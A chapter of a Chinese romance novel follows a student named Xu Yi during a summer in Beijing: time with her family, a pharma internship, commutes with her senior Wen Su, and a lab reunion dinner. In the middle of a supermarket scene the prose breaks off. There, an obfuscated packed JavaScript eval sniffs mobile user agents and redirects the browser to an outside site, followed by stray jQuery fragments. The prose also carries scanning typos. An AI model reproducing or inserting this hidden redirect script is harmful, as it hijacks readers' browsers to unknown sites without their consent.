那天晚上回去后，许薏将她五彩毛线牌的晴天娃娃挂在了租房客厅的墙上。


    可能是因为这重新找回的小惊喜，也可能是因为过了一晚，隔天起床时，许薏拉开窗帘，在阳光里怔忪醒了一会儿神，似乎没有昨天那么低丧了。


    她慢吞吞地洗漱。


    这次来北京，许薏只背了一个简单的背包，不过好在该有的这边也都有，从卫生间出来，她拿出手机，看了看消息。


    微信里的消息不多。


    几个公众号的推送。


    系里大群的消息。


    【闻诉：我买了东西，放在你冰箱冷冻层，你吃早饭的话解决一下。】


    【闻诉：第三格。】


    早上六点多，师兄给她发了两条消息。许薏拿着手机，迷顿着找到厨房冰箱，拉开最下层，发现了满满一格的速冻食品。


    她诧然蹲着看这大包小包的包装袋子。


    师兄居然，买了这么多….


    什么时候买的?


    【许薏：师兄早，不好意思，我刚起床。n-n】解决一下，是——


    【许薏：这些我可以吃吗?】


    没一会儿。


    【闻诉：会煮?】


    【许薏：嗯嗯，会的。】


    【闻诉：解决一下。】


    许薏收获一份意外早饭，蹲在冰箱前感恩发去一句谢谢师兄。闻诉没再回消息了。她没多发消息打扰，便挑了一盒最小的馄饨。


    按照说明书，将里面几个袋子依次分好类，先下汤底料，加水，煮馄饨，等了不久，数个皮薄馅饱的馄饨咕嘟咕嘟浮了起来。


    许薏尝了一个，已经熟了。


    是没有吃过的味道。


    很鲜。


    她咽着汤汁，找到台子上腾空了的包装盒，认真看了看，才发现是墨鱼馅的。


    早饭解决得很顺利。只是吃完，许薏就有些不知道干什么了。


    本来她暑假中途回来，是打算陪舅舅一家逛北京的。


    现在事情让她搞砸，也不知道，还能不能成行。


    许薏上午没有事做，就去了一趟学校图书馆。


    其实算起来，许薏大学以来的长假几乎都是宅着度过的，不是在线上帮师兄师姐做点活就是自己看看文献，在北京还是在平渚，好像区别也不大。


    回汀大也挺好的，还可以登陆图书馆的数据库，查资料都更方便。许薏安慰自己。


    暑假期间，图书馆只有白天开放，一整层望去，也只有零星的几个学生。—上午，她下载了一些文献，正在机子前，突然接到了舅妈的电话。


    隔了一晚上通上话，两人都有些不自然。夏琴扯着话题，东一句西一句地问了些话。


    "年年，你在学校宿舍呢?"


    “没有。”许薏拘束道，“我在图书馆。”“….…”夏琴："噢噢。这么用功啊。"“对了，你昨天晚上——回去吃了饭的吧?”"嗯，吃了。"“吃的什么啊?”许薏如实道："火锅。"


    "……"


    夏琴那头的语气明显松了下来。


    “好的好的，吃了就好。我就说嘛。”她笑道，“我今天才看到你舅给你发的微信，你别理他!他这个人想一出是一出的，乱讲话，你别往心里去啊。”


    许薏不知道回什么,只轻嗯一声。


    夏琴没有再提许仕行借钱的事，聊了几句，那边传来了许突洋的喊叫声，她斥了一句，回道：“那行，你还在学习吧?我就不打扰你了——对了，你24号跟我们 起回去吗?用不用我帮你买票?”


    "不用了，谢谢舅妈。”她忙回，“我想自己回去。"


    “好的好的，那你也自由点。”


    许薏最后还是没跟舅舅一家一起回平渚。


    她没有跟旅游行程，一个人在图书馆连泡了几天，只在中途中断一天，陪舅妈他们逛了汀大——因为两天后许奕洋借夏琴的手机给她打来了电话，不住的缠着说要来学校玩。


    许薏说不出拒绝。


    但没想到，逛学校那天，她没看见舅舅，反而见到了哥哥。


    不远处，校门口，夏琴和许奕洋两人从江序的车上下来，车子拐到人少的地方，不一会儿，江序也下车了。


    再次看到哥哥，许薏的第一反应是想找个人群钻进去。江序看见她，插兜的手招起，唇角浅浅弯起了笑：“年年。”他在原地顿了一顿，见许薏表情有一点的拘谨，还好，这才过去。那天许薏冲动提起的话题，两人谁也没提。


    将舅妈两人和哥哥带进汀大，许薏尽心尽责地当起了导游。江序对汀大也熟，因而她大多数时候是在回答许奕洋七七八八的问题，帮忙拍照，偶尔江序问她一些日常，她也有问有答地回。


    夏琴解释了一句，说许仕行今天要去见一个老朋友，所以就没来。


    许薏也没有问哥哥，他有没有安排舅舅跟爸爸见面，舅舅是不是已经借到了钱，而爸爸又是什么反应。再问这些，似乎也没有什么意义。她所有能做的，也只是那天在车上的一个拒绝。越是长大，她不断地发现、也接受了，有许多的事，会怎么发展，并不需要经过她的同意。


    即便真的坚持，作用也很小。


    许薏慢慢也学会不去细想这些事情。


    汀大很大，步行颇费时间，上午过去，几人也只逛了艺术博物馆和几个院区。中午，许薏带哥哥三人在食堂吃饭，江序吃完还有事，就要走了。许薏见江序点着手机扫共享单车，松开许奕洋的手：“哥哥。”


    “嗯?”江序回头。


    “你去医院开车小心。”她干干巴巴地道，“拜拜。”


    江序怔了怔，眼底漫上了笑，摸了下她的脑袋：“好。”


    “年年，你什么时候去平渚?”江序问道，“回去前，来家里吃顿饭吧。”许薏点点头，又摇头：“其实，我想先不回去了。”江序一愣：“怎么了?”


    “因为好像回去也没有事，我还是想，趁放假的时间去实习一下。”许薏一五一十将先前刘梁向她提过的实习机会说了，道，“都已经来了，就先不回去了。”江序微微恍然，笑了：“这样也好。不过如果实习太辛苦的话，还是要好好的放个假。”


    她又嗯，目送江序骑车去校门口，在食堂前告了别。


    就这样，许薏在北京待了下来。


    七月底，她面试了刘梁推荐的实习岗位，当天晚上回去便接到了那家公司的电话，通知她即日去报道。


    公司是一家生物制药的外企，离学校不远，步行加地铁二十多分钟便能到。而实习生的上班时间是早九晚五，对她来说，这个时间算得上很宽裕了。许薏的实习岗位在研发分部。她经验少，还不需要跟实验，跟着操作员，做的最多的是一些处理数据和查阅文献的繁杂工作。许薏适应了几天，每天按点坐地铁下班，直到第四天下班时，接到了闻诉的电话。


    “在哪?”


    “师兄。”许薏在收拾桌面，有点儿猝不及防，"我在公司里，在整理东西下班。"


    "你出差回来了吗?"


    “是。”闻诉那边声音很空，像开着免提，语气简略，“我回了趟公司，一会要走。你什么时候理完?”


    许薏囫囵把电脑放进包里："我理好了。"


    那边一顿。


    "下楼。"


    许薏打了卡出大厦，一眼便看到了闻诉停在路边不远的车。她也是昨天才知道，华康的总部园区就在她实习的公司不远。事情还要从昨天中午说起。


    许薏刚实习，一直在查阅项目相关的文献，而有一篇外文文献怎么都找不到原版，所有文献库搜遍，她亳无头绪，做了足足半小时的心理建设，发了一条朋友圈。


    【有同学知道这一篇的原版文献应该怎么找吗?^^[图]】


    有师姐建议她发邮件问国外某个大学的图书馆。许薏还在编辑邮件，她的校内邮箱却收到了一封来件。


    发件人来自：Wensu。


    内容空白。


    只有一个文档附件。


    正好，竟然就是那一篇她要找的文献。


    许薏心里的小人险些喜极而泣，峰回路转，在这一刻，对师兄的大腿程度，又有了一个新高的认知。她忙转去微信，向闻诉解释了要这份文献的目的，说了自己正在实习。为了证实可信度，事无巨细，还发去了公司的定位。


    也就是在定位时，许薏拉了一下手机地图，突然发现，地图上隔着两条街开外，原来就是华康医药集团的园区。回去十分顺路。闻诉捎上许薏回桃李苑，中途去了一趟超市。


    不出差的时候，师兄还是时有会借用她那边的厨房做饭。


    许薏一点异议也无，在闻诉买菜结账时，手快动作更快地，拿着手机将付款码递到了收银员面前。


    中年女人瞟了瞟，拿着扫码机，“滴”一声扣款。


    配合顺畅。


    许薏舒气了一小秒，抬脸就对上了闻诉的目光。她的心又一下提起来了，解释道：“师兄，今天我来付吧。”


    闻诉眼梢微挑。


    "您的小票，拿好。"


    “——怎么。”闻诉接过小票，淡扫了一眼，“从你们公司打车过来，需要二百七?”


    “不是不是，”许薏找补道，“这个不是感谢什么的……就是，我现在有实习工资了，正好可以，庆祝一下。”她理由找得蹩脚，闻诉看她一眼，没多说什么,放了票，将购物袋拎进推车。收银员见许薏眼神飘挪，跟着看了看货架：“姑娘你还需要什么不?”许薏啊一声，胡乱拿了一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14802016|130369||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    盒糖：“还有这个……”


    “滴”一声。


    收银员扫了价签，许薏正要重新拿手机，手腕被扣住了。


    圈住的温热力道。她霍然低头。


    闻诉开了手机，让收银员扫码。


    男人的手指修长，反托着黑色的机身，“滴”的一声，利落收了手机。直到扣款完毕，闻诉同时地松开她。


    一秒多余的停留都无。


    他没看许薏，神色平淡，垂眼将小票丢进推车，问："走?"许薏慌里慌张回神，觑了觑闻诉，见他没生气，放下了心，乖乖跟上了。


    实习还算顺利，许薏每天的工作内容很充实，时间不知不觉，过得很快。一晃眼，半个月过去。


    八月中旬，许薏在某天上班时收到了叶楠的微信。


    【叶楠：小许，你还在北京吗?】她


    将杯子放在茶水间的桌上，回复。


    【许薏：是的。】


    【叶楠：那太好了，你要不要出来聚一聚?】


    【叶楠：你还记得陈济师兄吗?他最近准备回老家发展了，我们想明晚一起给他组个局，聚下餐，你有空吗?】


    许薏抱着手机回忆了会儿。


    好像……是个已经毕业两三年的师兄?她模糊有个印象，敲字回：【嗯嗯，有空。】【叶楠：那我拉你进群~】没多久，叶楠就把许薏拉进了聚餐小群。


    这个暑假，课题组里有好几个博士的师兄师姐都在留校做实验，群里七嘴八舌定了个明晚的聚餐时间，地点在另一个城区。许薏确认了时间，给闻诉发去个消息。她这段时间上班下班，如果碰上师兄不出差，就都是在搭他的车通勤。而最近几天师兄也在，理应要说一声。


    次日上班时，许薏思考周全，还提前把公寓的钥匙交给了闻诉。


    晚上的聚餐在一家烤肉自助餐厅。


    是家排队很火的网红餐厅，格外热闹。


    叶楠七人拼了两个小桌，点了第一轮菜，陈济则被围在里侧一排座位的中央。同门间都是很久没见了，也算聊得开心。“哎师兄，你辞职的话，下家找好了吗?”—女生问。陈济烤着肉摇头：“别提了，八字没一撇的事儿，头疼。”


    “我要不就回去捡垃圾吧，说不定还有惊喜。”他苦中作乐道，“反正怎么都比在北京混日子强。”


    许薏坐在斜对桌，她对这个师兄不熟，也只有旁听的份。


    陈济博士毕业后在北京工作了两年，上周刚辞职，旁边方路明听完“不是”了一声，插话道："师哥你不是在复达制药吗?复达也不行?"


    陈济呵了一声：“哪儿行啊。”


    “我们这条产品线上的研究员，一年到头到手也就不到二十万，这已经算是好的。”他在桌上敲着于指，道，“扣掉租房，扣掉消费，你们算算，这在北京几年才能买房?”“况且我们的业务都很边缘，再过三年十年都研究不出花儿来，没劲透了。”


    不是博士毕业就能拿高薪，即便是汀大毕业也一样。方路明挠挠脸，只好唉一声。现实太过无情，一桌人轮番安慰了陈济几句。叶楠跳过话题，热气氛道："不是说好的快乐躺平局吗?先吃吧先吃吧。"


    许薏正认真吃着，被一位师姐叫了声："诶，小许，我记得你下学期就大四了吧?"她闻言看向师姐，唔一声。


    “真快啊，那你想好大四毕业做什么了吗?”“还没有。”许薏放下了筷，“其实我想继续读研看看。”她笑：“你的话，应该能保研本校吧?”许薏犹豫地摇了个头：“我还没开始申请。”


    “你肯定行啊。”


    话题逐渐聊开了。


    几人来来往往去拿菜，一群人再坐下时，许薏不知怎么就坐到了正当中。对面，一位师姐正在和陈济聊天。


    “别丧师哥，已经很好了，又不是人人都是闻诉师哥。”她道，“说不定熬过这次，就时来运转了呢?”听到熟悉名字，许薏不由得抬头。


    “我就别跟大佬比了。”陈济塞了-口肉，嚼着嚼着沉思会儿，截着筷子感叹，“我要是间诉，我现在还工作什么?早就辞职在全世界各国都买套房子，一年三百六十五天每天换着住了，谁还吃上班这


    苦啊!”


    宋静怡无声同情，唯有拍拍他。


    陈济义愤填膺，看向抬脸的许薏：“你说是吧?”许薏说是，感觉不对。说不是，也不对。她和陈济面面相觑两秒，吞吞吐吐，想出一句安慰：“闻诉师兄他……现在也在租房吧。”


    话音一落。


    方静怡和陈济双双一愣。


    宋静怡“哈?”了一声。


    "小许，你听谁说的?"


    许薏见师姐露出奇怪的眼神，道：“你不知道吗?师哥他刚毕业那会儿，就在颐和华府买房了啊。”